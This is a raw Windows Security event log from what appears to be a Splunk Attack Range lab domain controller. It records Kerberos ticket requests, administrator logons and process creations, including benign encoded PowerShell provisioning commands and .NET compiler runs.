Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257677 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257676 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ac - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1288 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257675 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257674 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x109c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257690 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb48 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1288 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG4AcwB0AGEAbABsAC0AUABhAGMAawBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAtAE4AYQBtAGUAIABOAHUARwBlAHQAIAAtAE0AaQBuAGkAbQB1AG0AVgBlAHIAcwBpAG8AbgAgADIALgA4AC4ANQAuADIAMAAxACAALQBGAG8AcgBjAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES2D98.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC501F2FBD9FC048EC8428E955C7A6C47.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257688 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1288 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\vxl04stj.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257687 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x537C5F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257686 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x537C5F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F11ED9C3-E467-E64B-BCC6-2E77BF7B2731} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257685 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F11ED9C3-E467-E64B-BCC6-2E77BF7B2731} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257684 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F11ED9C3-E467-E64B-BCC6-2E77BF7B2731} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257683 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x910 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES322B.tmp" "c:\Users\Administrator\AppData\Local\Temp\4wbzcryy\CSC851577AA43294BD9A46A885131223613.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb48 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\4wbzcryy\4wbzcryy.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x694 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257735 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257734 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53F29B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257733 